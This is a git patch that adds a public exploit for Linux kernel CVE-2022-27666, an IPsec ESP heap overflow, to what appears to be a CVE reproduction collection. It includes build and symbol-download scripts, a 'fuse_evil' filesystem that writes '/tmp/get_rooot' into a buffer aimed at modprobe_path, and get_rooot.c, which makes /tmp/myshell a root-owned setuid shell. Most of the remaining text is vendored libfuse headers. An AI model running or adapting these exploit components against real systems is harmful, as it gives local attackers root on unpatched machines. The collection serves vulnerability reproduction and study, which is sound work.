From 466cdad06773450f98f5799e7da89c7553b91083 Mon Sep 17 00:00:00 2001 From: jyz Date: Thu, 9 Mar 2023 01:43:05 -0800 Subject: [PATCH 1/5] add CVE-2022-27666 --- cve/linux-kernel/2022/CVE-2022-0995/README.md | 2 +- .../2022/CVE-2022-27666/README.md | 17 + .../2022/CVE-2022-27666/compile.sh | 9 + .../2022/CVE-2022-27666/download_symbol.sh | 40 + .../2022/CVE-2022-27666/fuse_evil.c | 92 + .../2022/CVE-2022-27666/fuse_evil.h | 32 + .../2022/CVE-2022-27666/get_rooot.c | 9 + .../CVE-2022-27666/libfuse/cuse_lowlevel.h | 87 + .../2022/CVE-2022-27666/libfuse/fuse.h | 1296 ++++++++++ .../2022/CVE-2022-27666/libfuse/fuse_common.h | 859 +++++++ .../2022/CVE-2022-27666/libfuse/fuse_kernel.h | 848 +++++++ .../2022/CVE-2022-27666/libfuse/fuse_log.h | 82 + .../CVE-2022-27666/libfuse/fuse_lowlevel.h | 2100 ++++++++++++++++ .../2022/CVE-2022-27666/libfuse/fuse_opt.h | 271 ++ .../2022/CVE-2022-27666/libfuse/meson.build | 4 + .../2022/CVE-2022-27666/libfuse3.a | Bin 0 -> 1798260 bytes .../2022/CVE-2022-27666/myshell.c | 6 + cve/linux-kernel/2022/CVE-2022-27666/poc.c | 2215 +++++++++++++++++ cve/linux-kernel/2022/CVE-2022-27666/run.sh | 9 + .../2022/yaml/CVE-2022-27666.yaml | 18 + openkylin_list.yaml | 1 + 21 files changed, 7996 insertions(+), 1 deletion(-) create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/README.md create mode 100755 cve/linux-kernel/2022/CVE-2022-27666/compile.sh create mode 100755 cve/linux-kernel/2022/CVE-2022-27666/download_symbol.sh create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/fuse_evil.c create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/fuse_evil.h create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/get_rooot.c create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse/cuse_lowlevel.h create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse.h create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_common.h create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_kernel.h create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_log.h create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_lowlevel.h create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_opt.h create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse/meson.build create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/libfuse3.a create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/myshell.c create mode 100644 cve/linux-kernel/2022/CVE-2022-27666/poc.c create mode 100755 cve/linux-kernel/2022/CVE-2022-27666/run.sh create mode 100644 cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml diff --git a/cve/linux-kernel/2022/CVE-2022-0995/README.md b/cve/linux-kernel/2022/CVE-2022-0995/README.md index b2e5f781..ef91ef82 100644 --- a/cve/linux-kernel/2022/CVE-2022-0995/README.md +++ b/cve/linux-kernel/2022/CVE-2022-0995/README.md @@ -9,4 +9,4 @@ make ./exploit ``` - \ No newline at end of file +![](./poc.png) \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-27666/README.md b/cve/linux-kernel/2022/CVE-2022-27666/README.md new file mode 100644 index 00000000..397df2c5 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/README.md @@ -0,0 +1,17 @@ +**漏洞描述：** + +这是针对CVE-2022-27666的漏洞，该漏洞在UbuntuDesktop21.10上实现本地权限升级。本地攻击者可利用该漏洞通过覆盖内核堆对象获得特权。 + +**影响版本：** + +linux kernel 5.17-rc5 + +**漏洞危害** + +漏洞危害: 该漏洞源于net/ipv4/esp4.c 和 net/ipv6/esp6.c 中IPsec ESP 代码存在缓冲区溢出，此缺陷允许具有普通用户权限的本地攻击者覆盖内核堆对象，并可能导致本地权限升级威胁。 + +**参考资料** + +代码来自：https://github.com/plummm/CVE-2022-27666 + +参考链接：https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.16.15 \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-27666/compile.sh b/cve/linux-kernel/2022/CVE-2022-27666/compile.sh new file mode 100755 index 00000000..86094dcf --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/compile.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +gcc -o get_rooot get_rooot.c -w +gcc -o myshell myshell.c -w +gcc -no-pie -static poc.c fuse_evil.c -I./libfuse libfuse3.a -o poc -masm=intel -pthread -w \ + -D EXPAND_LOWER_ORDER -D VERSION_5_30 -D KERNEL_LEAK -D KERNEL_EXP + +chmod +x ./download_symbol.sh +./download_symbol.sh \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-27666/download_symbol.sh b/cve/linux-kernel/2022/CVE-2022-27666/download_symbol.sh new file mode 100755 index 00000000..dc4897a4 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/download_symbol.sh @@ -0,0 +1,40 @@ +#! /bin/bash + +SYM_PATH=`pwd`"/symbol" +if [ -d ${SYM_PATH} ]; then + echo "symbol downloaded" + exit 0 +fi + +kernel_version=$(uname -r) +echo "Kernel version : ${kernel_version}" + +kernel_pkg_version=$(dpkg -l | grep linux-modules-$(uname -r) | head -1 | awk '{ print $3; }') +echo "Kernel package version : ${kernel_pkg_version}" + +pkg_name="linux-modules-${kernel_version}_${kernel_pkg_version}_amd64.deb" +pkg_uri="http://archive.ubuntu.com/ubuntu/pool/main/l/linux/${pkg_name}" +echo "Downloading package linux-modules at ${pkg_uri}" + +mkdir -p symbols/${kernel_version} +cd symbols/${kernel_version} + +wget ${pkg_uri} -O ${pkg_name} +mkdir -p extract +dpkg -x ${pkg_name} extract/ + +symbols_file="extract/boot/System.map-${kernel_version}" +if [ ! -f ${symbols_file} ]; then + echo "Failed to extract symbol file. Check download of Ubuntu package" + cd ../../ + rm -rf symbols + cd - > /dev/null + exit 1 +else + echo "Symbol file found. Cleaning directory..." + mv ${symbols_file} .. +fi + +cd - > /dev/null +rm -rf symbols/${kernel_version} +echo "Symbol file : System.map-${kernel_version}" diff --git a/cve/linux-kernel/2022/CVE-2022-27666/fuse_evil.c b/cve/linux-kernel/2022/CVE-2022-27666/fuse_evil.c new file mode 100644 index 00000000..aed83e20 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/fuse_evil.c @@ -0,0 +1,92 @@ +#include "fuse_evil.h" + +const char *evil_path = "evil"; +char *evil_str = "/tmp/get_rooot\x00"; + +int fuse_pipes[2]; +// https://www.maastaar.net/fuse/linux/filesystem/c/2016/05/21/writing-a-simple-filesystem-using-fuse/ + +int evil_read_pause(const char *path, char *buf, size_t size, off_t offset, + struct fuse_file_info *fi) +{ + // change to modprobe_path + char signal; + size_t len = 0x10000; + + if (offset + size > len) + size = len - offset; + + memset(evil_buffer + offset, 0x43, size); + char *evil = evil_str; + memcpy((void *)(evil_buffer + 0x1000-0x30), evil, strlen(evil)); + + if (offset >= len) + return size; + + memcpy(buf, evil_buffer + offset, size); + pause(); + return size; +} + +int evil_read_sleep(const char *path, char *buf, size_t size, off_t offset, + struct fuse_file_info *fi) +{ + // change to modprobe_path + char signal; + size_t len = 0x10000; + + if (offset + size > len) + size = len - offset; + + memset(evil_buffer + offset, 0x43, size); + char *evil = evil_str; + memcpy((void *)(evil_buffer + 0x1000-0x30), evil, strlen(evil)); + + if (offset >= len) + return size; + + memcpy(buf, evil_buffer + offset, size); + read(fuse_pipes[0], &signal, 1); + return size; +} + +int evil_getattr(const char *path, struct stat *stbuf, + struct fuse_file_info *fi) +{ + int res = 0; + + memset(stbuf, 0, sizeof(struct stat)); + + if (strcmp(path, "/") == 0) + { + stbuf->st_mode = S_IFDIR | 0755; + stbuf->st_nlink = 2; + } + else if (strcmp(path + 1, evil_path) == 0) + { + stbuf->st_mode = S_IFREG | 0444; + stbuf->st_nlink = 1; + stbuf->st_size = 0x1000; + } + else + { + res = -ENOENT; + } + + return res; +} + + +int evil_readdir(const char *path, void *buf, fuse_fill_dir_t filler, + off_t offset, struct fuse_file_info *fi, + enum fuse_readdir_flags flags) +{ + if (strcmp(path, "/") != 0) + return -ENOENT; + + filler(buf, ".", NULL, 0, 0); + filler(buf, "..", NULL, 0, 0); + filler(buf, evil_path, NULL, 0, 0); + + return 0; +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-27666/fuse_evil.h b/cve/linux-kernel/2022/CVE-2022-27666/fuse_evil.h new file mode 100644 index 00000000..9281183d --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/fuse_evil.h @@ -0,0 +1,32 @@ +#define FUSE_USE_VERSION 34 +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include + +#define MNT_PATH "evil" + +extern const char *evil_path; +extern int fuse_pipes[2]; +extern char *evil_str; +extern char *evil_buffer; +extern int pause_flag; + +int evil_read_pause(const char *path, char *buf, size_t size, off_t offset, + struct fuse_file_info *fi); + +int evil_read_sleep(const char *path, char *buf, size_t size, off_t offset, + struct fuse_file_info *fi); + +int evil_getattr(const char *path, struct stat *stbuf, + struct fuse_file_info *fi); + +int evil_readdir(const char *path, void *buf, fuse_fill_dir_t filler, + off_t offset, struct fuse_file_info *fi, + enum fuse_readdir_flags flags); \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-27666/get_rooot.c b/cve/linux-kernel/2022/CVE-2022-27666/get_rooot.c new file mode 100644 index 00000000..9ca6135a --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/get_rooot.c @@ -0,0 +1,9 @@ +#include +#include + +int main() +{ + system("chown root:root /tmp/myshell"); + system("chmod 4755 /tmp/myshell"); + system("/usr/bin/touch /tmp/exploited"); +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse/cuse_lowlevel.h b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/cuse_lowlevel.h new file mode 100644 index 00000000..80476c20 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/cuse_lowlevel.h @@ -0,0 +1,87 @@ +/* + CUSE: Character device in Userspace + Copyright (C) 2008-2009 SUSE Linux Products GmbH + Copyright (C) 2008-2009 Tejun Heo + + This program can be distributed under the terms of the GNU LGPLv2. + See the file COPYING.LIB. + + Read example/cusexmp.c for usages. +*/ + +#ifndef CUSE_LOWLEVEL_H_ +#define CUSE_LOWLEVEL_H_ + +#ifndef FUSE_USE_VERSION +#define FUSE_USE_VERSION 29 +#endif + +#include "fuse_lowlevel.h" + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define CUSE_UNRESTRICTED_IOCTL (1 << 0) /* use unrestricted ioctl */ + +struct fuse_session; + +struct cuse_info { + unsigned dev_major; + unsigned dev_minor; + unsigned dev_info_argc; + const char **dev_info_argv; + unsigned flags; +}; + +/* + * Most ops behave almost identically to the matching fuse_lowlevel + * ops except that they don't take @ino. + * + * init_done : called after initialization is complete + * read/write : always direct IO, simultaneous operations allowed + * ioctl : might be in unrestricted mode depending on ci->flags + */ +struct cuse_lowlevel_ops { + void (*init) (void *userdata, struct fuse_conn_info *conn); + void (*init_done) (void *userdata); + void (*destroy) (void *userdata); + void (*open) (fuse_req_t req, struct fuse_file_info *fi); + void (*read) (fuse_req_t req, size_t size, off_t off, + struct fuse_file_info *fi); + void (*write) (fuse_req_t req, const char *buf, size_t size, off_t off, + struct fuse_file_info *fi); + void (*flush) (fuse_req_t req, struct fuse_file_info *fi); + void (*release) (fuse_req_t req, struct fuse_file_info *fi); + void (*fsync) (fuse_req_t req, int datasync, struct fuse_file_info *fi); + void (*ioctl) (fuse_req_t req, int cmd, void *arg, + struct fuse_file_info *fi, unsigned int flags, + const void *in_buf, size_t in_bufsz, size_t out_bufsz); + void (*poll) (fuse_req_t req, struct fuse_file_info *fi, + struct fuse_pollhandle *ph); +}; + +struct fuse_session *cuse_lowlevel_new(struct fuse_args *args, + const struct cuse_info *ci, + const struct cuse_lowlevel_ops *clop, + void *userdata); + +struct fuse_session *cuse_lowlevel_setup(int argc, char *argv[], + const struct cuse_info *ci, + const struct cuse_lowlevel_ops *clop, + int *multithreaded, void *userdata); + +void cuse_lowlevel_teardown(struct fuse_session *se); + +int cuse_lowlevel_main(int argc, char *argv[], const struct cuse_info *ci, + const struct cuse_lowlevel_ops *clop, void *userdata); + +#ifdef __cplusplus +} +#endif + +#endif /* CUSE_LOWLEVEL_H_ */ diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse.h b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse.h new file mode 100644 index 00000000..a273b15b --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse.h @@ -0,0 +1,1296 @@ +/* + FUSE: Filesystem in Userspace + Copyright (C) 2001-2007 Miklos Szeredi + + This program can be distributed under the terms of the GNU LGPLv2. + See the file COPYING.LIB. +*/ + +#ifndef FUSE_H_ +#define FUSE_H_ + +/** @file + * + * This file defines the library interface of FUSE + * + * IMPORTANT: you should define FUSE_USE_VERSION before including this header. + */ + +#include "fuse_common.h" + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ----------------------------------------------------------- * + * Basic FUSE API * + * ----------------------------------------------------------- */ + +/** Handle for a FUSE filesystem */ +struct fuse; + +/** + * Readdir flags, passed to ->readdir() + */ +enum fuse_readdir_flags { + /** + * "Plus" mode. + * + * The kernel wants to prefill the inode cache during readdir. The + * filesystem may honour this by filling in the attributes and setting + * FUSE_FILL_DIR_FLAGS for the filler function. The filesystem may also + * just ignore this flag completely. + */ + FUSE_READDIR_PLUS = (1 << 0) +}; + +/** + * Readdir flags, passed to fuse_fill_dir_t callback. + */ +enum fuse_fill_dir_flags { + /** + * "Plus" mode: all file attributes are valid + * + * The attributes are used by the kernel to prefill the inode cache + * during a readdir. + * + * It is okay to set FUSE_FILL_DIR_PLUS if FUSE_READDIR_PLUS is not set + * and vice versa. + */ + FUSE_FILL_DIR_PLUS = (1 << 1) +}; + +/** Function to add an entry in a readdir() operation + * + * The *off* parameter can be any non-zero value that enables the + * filesystem to identify the current point in the directory + * stream. It does not need to be the actual physical position. A + * value of zero is reserved to indicate that seeking in directories + * is not supported. + * + * @param buf the buffer passed to the readdir() operation + * @param name the file name of the directory entry + * @param stbuf file attributes, can be NULL + * @param off offset of the next entry or zero + * @param flags fill flags + * @return 1 if buffer is full, zero otherwise + */ +typedef int (*fuse_fill_dir_t) (void *buf, const char *name, + const struct stat *stbuf, off_t off, + enum fuse_fill_dir_flags flags); +/** + * Configuration of the high-level API + * + * This structure is initialized from the arguments passed to + * fuse_new(), and then passed to the file system's init() handler + * which should ensure that the configuration is compatible with the + * file system implementation. + */ +struct fuse_config { + /** + * If `set_gid` is non-zero, the st_gid attribute of each file + * is overwritten with the value of `gid`. + */ + int set_gid; + unsigned int gid; + + /** + * If `set_uid` is non-zero, the st_uid attribute of each file + * is overwritten with the value of `uid`. + */ + int set_uid; + unsigned int uid; + + /** + * If `set_mode` is non-zero, the any permissions bits set in + * `umask` are unset in the st_mode attribute of each file. + */ + int set_mode; + unsigned int umask; + + /** + * The timeout in seconds for which name lookups will be + * cached. + */ + double entry_timeout; + + /** + * The timeout in seconds for which a negative lookup will be + * cached. This means, that if file did not exist (lookup + * returned ENOENT), the lookup will only be redone after the + * timeout, and the file/directory will be assumed to not + * exist until then. A value of zero means that negative + * lookups are not cached. + */ + double negative_timeout; + + /** + * The timeout in seconds for which file/directory attributes + * (as returned by e.g. the `getattr` handler) are cached. + */ + double attr_timeout; + + /** + * Allow requests to be interrupted + */ + int intr; + + /** + * Specify which signal number to send to the filesystem when + * a request is interrupted. The default is hardcoded to + * USR1. + */ + int intr_signal; + + /** + * Normally, FUSE assigns inodes to paths only for as long as + * the kernel is aware of them. With this option inodes are + * instead remembered for at least this many seconds. This + * will require more memory, but may be necessary when using + * applications that make use of inode numbers. + * + * A number of -1 means that inodes will be remembered for the + * entire life-time of the file-system process. + */ + int remember; + + /** + * The default behavior is that if an open file is deleted, + * the file is renamed to a hidden file (.fuse_hiddenXXX), and + * only removed when the file is finally released. This + * relieves the filesystem implementation of having to deal + * with this problem. This option disables the hiding + * behavior, and files are removed immediately in an unlink + * operation (or in a rename operation which overwrites an + * existing file). + * + * It is recommended that you not use the hard_remove + * option. When hard_remove is set, the following libc + * functions fail on unlinked files (returning errno of + * ENOENT): read(2), write(2), fsync(2), close(2), f*xattr(2), + * ftruncate(2), fstat(2), fchmod(2), fchown(2) + */ + int hard_remove; + + /** + * Honor the st_ino field in the functions getattr() and + * fill_dir(). This value is used to fill in the st_ino field + * in the stat(2), lstat(2), fstat(2) functions and the d_ino + * field in the readdir(2) function. The filesystem does not + * have to guarantee uniqueness, however some applications + * rely on this value being unique for the whole filesystem. + * + * Note that this does *not* affect the inode that libfuse + * and the kernel use internally (also called the "nodeid"). + */ + int use_ino; + + /** + * If use_ino option is not given, still try to fill in the + * d_ino field in readdir(2). If the name was previously + * looked up, and is still in the cache, the inode number + * found there will be used. Otherwise it will be set to -1. + * If use_ino option is given, this option is ignored. + */ + int readdir_ino; + + /** + * This option disables the use of page cache (file content cache) + * in the kernel for this filesystem. This has several affects: + * + * 1. Each read(2) or write(2) system call will initiate one + * or more read or write operations, data will not be + * cached in the kernel. + * + * 2. The return value of the read() and write() system calls + * will correspond to the return values of the read and + * write operations. This is useful for example if the + * file size is not known in advance (before reading it). + * + * Internally, enabling this option causes fuse to set the + * `direct_io` field of `struct fuse_file_info` - overwriting + * any value that was put there by the file system. + */ + int direct_io; + + /** + * This option disables flushing the cache of the file + * contents on every open(2). This should only be enabled on + * filesystems where the file data is never changed + * externally (not through the mounted FUSE filesystem). Thus + * it is not suitable for network filesystems and other + * intermediate filesystems. + * + * NOTE: if this option is not specified (and neither + * direct_io) data is still cached after the open(2), so a + * read(2) system call will not always initiate a read + * operation. + * + * Internally, enabling this option causes fuse to set the + * `keep_cache` field of `struct fuse_file_info` - overwriting + * any value that was put there by the file system. + */ + int kernel_cache; + + /** + * This option is an alternative to `kernel_cache`. Instead of + * unconditionally keeping cached data, the cached data is + * invalidated on open(2) if if the modification time or the + * size of the file has changed since it was last opened. + */ + int auto_cache; + + /** + * The timeout in seconds for which file attributes are cached + * for the purpose of checking if auto_cache should flush the + * file data on open. + */ + int ac_attr_timeout_set; + double ac_attr_timeout; + + /** + * If this option is given the file-system handlers for the + * following operations will not receive path information: + * read, write, flush, release, fallocate, fsync, readdir, + * releasedir, fsyncdir, lock, ioctl and poll. + * + * For the truncate, getattr, chmod, chown and utimens + * operations the path will be provided only if the struct + * fuse_file_info argument is NULL. + */ + int nullpath_ok; + + /** + * The remaining options are used by libfuse internally and + * should not be touched. + */ + int show_help; + char *modules; + int debug; +}; + + +/** + * The file system operations: + * + * Most of these should work very similarly to the well known UNIX + * file system operations. A major exception is that instead of + * returning an error in 'errno', the operation should return the + * negated error value (-errno) directly. + * + * All methods are optional, but some are essential for a useful + * filesystem (e.g. getattr). Open, flush, release, fsync, opendir, + * releasedir, fsyncdir, access, create, truncate, lock, init and + * destroy are special purpose methods, without which a full featured + * filesystem can still be implemented. + * + * In general, all methods are expected to perform any necessary + * permission checking. However, a filesystem may delegate this task + * to the kernel by passing the `default_permissions` mount option to + * `fuse_new()`. In this case, methods will only be called if + * the kernel's permission check has succeeded. + * + * Almost all operations take a path which can be of any length. + */ +struct fuse_operations { + /** Get file attributes. + * + * Similar to stat(). The 'st_dev' and 'st_blksize' fields are + * ignored. The 'st_ino' field is ignored except if the 'use_ino' + * mount option is given. In that case it is passed to userspace, + * but libfuse and the kernel will still assign a different + * inode for internal use (called the "nodeid"). + * + * `fi` will always be NULL if the file is not currently open, but + * may also be NULL if the file is open. + */ + int (*getattr) (const char *, struct stat *, struct fuse_file_info *fi); + + /** Read the target of a symbolic link + * + * The buffer should be filled with a null terminated string. The + * buffer size argument includes the space for the terminating + * null character. If the linkname is too long to fit in the + * buffer, it should be truncated. The return value should be 0 + * for success. + */ + int (*readlink) (const char *, char *, size_t); + + /** Create a file node + * + * This is called for creation of all non-directory, non-symlink + * nodes. If the filesystem defines a create() method, then for + * regular files that will be called instead. + */ + int (*mknod) (const char *, mode_t, dev_t); + + /** Create a directory + * + * Note that the mode argument may not have the type specification + * bits set, i.e. S_ISDIR(mode) can be false. To obtain the + * correct directory type bits use mode|S_IFDIR + * */ + int (*mkdir) (const char *, mode_t); + + /** Remove a file */ + int (*unlink) (const char *); + + /** Remove a directory */ + int (*rmdir) (const char *); + + /** Create a symbolic link */ + int (*symlink) (const char *, const char *); + + /** Rename a file + * + * *flags* may be `RENAME_EXCHANGE` or `RENAME_NOREPLACE`. If + * RENAME_NOREPLACE is specified, the filesystem must not + * overwrite *newname* if it exists and return an error + * instead. If `RENAME_EXCHANGE` is specified, the filesystem + * must atomically exchange the two files, i.e. both must + * exist and neither may be deleted. + */ + int (*rename) (const char *, const char *, unsigned int flags); + + /** Create a hard link to a file */ + int (*link) (const char *, const char *); + + /** Change the permission bits of a file + * + * `fi` will always be NULL if the file is not currently open, but + * may also be NULL if the file is open. + */ + int (*chmod) (const char *, mode_t, struct fuse_file_info *fi); + + /** Change the owner and group of a file + * + * `fi` will always be NULL if the file is not currently open, but + * may also be NULL if the file is open. + * + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is + * expected to reset the setuid and setgid bits. + */ + int (*chown) (const char *, uid_t, gid_t, struct fuse_file_info *fi); + + /** Change the size of a file + * + * `fi` will always be NULL if the file is not currently open, but + * may also be NULL if the file is open. + * + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is + * expected to reset the setuid and setgid bits. + */ + int (*truncate) (const char *, off_t, struct fuse_file_info *fi); + + /** Open a file + * + * Open flags are available in fi->flags. The following rules + * apply. + * + * - Creation (O_CREAT, O_EXCL, O_NOCTTY) flags will be + * filtered out / handled by the kernel. + * + * - Access modes (O_RDONLY, O_WRONLY, O_RDWR, O_EXEC, O_SEARCH) + * should be used by the filesystem to check if the operation is + * permitted. If the ``-o default_permissions`` mount option is + * given, this check is already done by the kernel before calling + * open() and may thus be omitted by the filesystem. + * + * - When writeback caching is enabled, the kernel may send + * read requests even for files opened with O_WRONLY. The + * filesystem should be prepared to handle this. + * + * - When writeback caching is disabled, the filesystem is + * expected to properly handle the O_APPEND flag and ensure + * that each write is appending to the end of the file. + * + * - When writeback caching is enabled, the kernel will + * handle O_APPEND. However, unless all changes to the file + * come through the kernel this will not work reliably. The + * filesystem should thus either ignore the O_APPEND flag + * (and let the kernel handle it), or return an error + * (indicating that reliably O_APPEND is not available). + * + * Filesystem may store an arbitrary file handle (pointer, + * index, etc) in fi->fh, and use this in other all other file + * operations (read, write, flush, release, fsync). + * + * Filesystem may also implement stateless file I/O and not store + * anything in fi->fh. + * + * There are also some flags (direct_io, keep_cache) which the + * filesystem may set in fi, to change the way the file is opened. + * See fuse_file_info structure in for more details. + * + * If this request is answered with an error code of ENOSYS + * and FUSE_CAP_NO_OPEN_SUPPORT is set in + * `fuse_conn_info.capable`, this is treated as success and + * future calls to open will also succeed without being send + * to the filesystem process. + * + */ + int (*open) (const char *, struct fuse_file_info *); + + /** Read data from an open file + * + * Read should return exactly the number of bytes requested except + * on EOF or error, otherwise the rest of the data will be + * substituted with zeroes. An exception to this is when the + * 'direct_io' mount option is specified, in which case the return + * value of the read system call will reflect the return value of + * this operation. + */ + int (*read) (const char *, char *, size_t, off_t, + struct fuse_file_info *); + + /** Write data to an open file + * + * Write should return exactly the number of bytes requested + * except on error. An exception to this is when the 'direct_io' + * mount option is specified (see read operation). + * + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is + * expected to reset the setuid and setgid bits. + */ + int (*write) (const char *, const char *, size_t, off_t, + struct fuse_file_info *); + + /** Get file system statistics + * + * The 'f_favail', 'f_fsid' and 'f_flag' fields are ignored + */ + int (*statfs) (const char *, struct statvfs *); + + /** Possibly flush cached data + * + * BIG NOTE: This is not equivalent to fsync(). It's not a + * request to sync dirty data. + * + * Flush is called on each close() of a file descriptor, as opposed to + * release which is called on the close of the last file descriptor for + * a file. Under Linux, errors returned by flush() will be passed to + * userspace as errors from close(), so flush() is a good place to write + * back any cached dirty data. However, many applications ignore errors + * on close(), and on non-Linux systems, close() may succeed even if flush() + * returns an error. For these reasons, filesystems should not assume + * that errors returned by flush will ever be noticed or even + * delivered. + * + * NOTE: The flush() method may be called more than once for each + * open(). This happens if more than one file descriptor refers to an + * open file handle, e.g. due to dup(), dup2() or fork() calls. It is + * not possible to determine if a flush is final, so each flush should + * be treated equally. Multiple write-flush sequences are relatively + * rare, so this shouldn't be a problem. + * + * Filesystems shouldn't assume that flush will be called at any + * particular point. It may be called more times than expected, or not + * at all. + * + * [close]: http://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html + */ + int (*flush) (const char *, struct fuse_file_info *); + + /** Release an open file + * + * Release is called when there are no more references to an open + * file: all file descriptors are closed and all memory mappings + * are unmapped. + * + * For every open() call there will be exactly one release() call + * with the same flags and file handle. It is possible to + * have a file opened more than once, in which case only the last + * release will mean, that no more reads/writes will happen on the + * file. The return value of release is ignored. + */ + int (*release) (const char *, struct fuse_file_info *); + + /** Synchronize file contents + * + * If the datasync parameter is non-zero, then only the user data + * should be flushed, not the meta data. + */ + int (*fsync) (const char *, int, struct fuse_file_info *); + + /** Set extended attributes */ + int (*setxattr) (const char *, const char *, const char *, size_t, int); + + /** Get extended attributes */ + int (*getxattr) (const char *, const char *, char *, size_t); + + /** List extended attributes */ + int (*listxattr) (const char *, char *, size_t); + + /** Remove extended attributes */ + int (*removexattr) (const char *, const char *); + + /** Open directory + * + * Unless the 'default_permissions' mount option is given, + * this method should check if opendir is permitted for this + * directory. Optionally opendir may also return an arbitrary + * filehandle in the fuse_file_info structure, which will be + * passed to readdir, releasedir and fsyncdir. + */ + int (*opendir) (const char *, struct fuse_file_info *); + + /** Read directory + * + * The filesystem may choose between two modes of operation: + * + * 1) The readdir implementation ignores the offset parameter, and + * passes zero to the filler function's offset. The filler + * function will not return '1' (unless an error happens), so the + * whole directory is read in a single readdir operation. + * + * 2) The readdir implementation keeps track of the offsets of the + * directory entries. It uses the offset parameter and always + * passes non-zero offset to the filler function. When the buffer + * is full (or an error happens) the filler function will return + * '1'. + */ + int (*readdir) (const char *, void *, fuse_fill_dir_t, off_t, + struct fuse_file_info *, enum fuse_readdir_flags); + + /** Release directory + * + * If the directory has been removed after the call to opendir, the + * path parameter will be NULL. + */ + int (*releasedir) (const char *, struct fuse_file_info *); + + /** Synchronize directory contents + * + * If the directory has been removed after the call to opendir, the + * path parameter will be NULL. + * + * If the datasync parameter is non-zero, then only the user data + * should be flushed, not the meta data + */ + int (*fsyncdir) (const char *, int, struct fuse_file_info *); + + /** + * Initialize filesystem + * + * The return value will passed in the `private_data` field of + * `struct fuse_context` to all file operations, and as a + * parameter to the destroy() method. It overrides the initial + * value provided to fuse_main() / fuse_new(). + */ + void *(*init) (struct fuse_conn_info *conn, + struct fuse_config *cfg); + + /** + * Clean up filesystem + * + * Called on filesystem exit. + */ + void (*destroy) (void *private_data); + + /** + * Check file access permissions + * + * This will be called for the access() system call. If the + * 'default_permissions' mount option is given, this method is not + * called. + * + * This method is not called under Linux kernel versions 2.4.x + */ + int (*access) (const char *, int); + + /** + * Create and open a file + * + * If the file does not exist, first create it with the specified + * mode, and then open it. + * + * If this method is not implemented or under Linux kernel + * versions earlier than 2.6.15, the mknod() and open() methods + * will be called instead. + */ + int (*create) (const char *, mode_t, struct fuse_file_info *); + + /** + * Perform POSIX file locking operation + * + * The cmd argument will be either F_GETLK, F_SETLK or F_SETLKW. + * + * For the meaning of fields in 'struct flock' see the man page + * for fcntl(2). The l_whence field will always be set to + * SEEK_SET. + * + * For checking lock ownership, the 'fuse_file_info->owner' + * argument must be used. + * + * For F_GETLK operation, the library will first check currently + * held locks, and if a conflicting lock is found it will return + * information without calling this method. This ensures, that + * for local locks the l_pid field is correctly filled in. The + * results may not be accurate in case of race conditions and in + * the presence of hard links, but it's unlikely that an + * application would rely on accurate GETLK results in these + * cases. If a conflicting lock is not found, this method will be + * called, and the filesystem may fill out l_pid by a meaningful + * value, or it may leave this field zero. + * + * For F_SETLK and F_SETLKW the l_pid field will be set to the pid + * of the process performing the locking operation. + * + * Note: if this method is not implemented, the kernel will still + * allow file locking to work locally. Hence it is only + * interesting for network filesystems and similar. + */ + int (*lock) (const char *, struct fuse_file_info *, int cmd, + struct flock *); + + /** + * Change the access and modification times of a file with + * nanosecond resolution + * + * This supersedes the old utime() interface. New applications + * should use this. + * + * `fi` will always be NULL if the file is not currently open, but + * may also be NULL if the file is open. + * + * See the utimensat(2) man page for details. + */ + int (*utimens) (const char *, const struct timespec tv[2], + struct fuse_file_info *fi); + + /** + * Map block index within file to block index within device + * + * Note: This makes sense only for block device backed filesystems + * mounted with the 'blkdev' option + */ + int (*bmap) (const char *, size_t blocksize, uint64_t *idx); + +#if FUSE_USE_VERSION < 35 + int (*ioctl) (const char *, int cmd, void *arg, + struct fuse_file_info *, unsigned int flags, void *data); +#else + /** + * Ioctl + * + * flags will have FUSE_IOCTL_COMPAT set for 32bit ioctls in + * 64bit environment. The size and direction of data is + * determined by _IOC_*() decoding of cmd. For _IOC_NONE, + * data will be NULL, for _IOC_WRITE data is out area, for + * 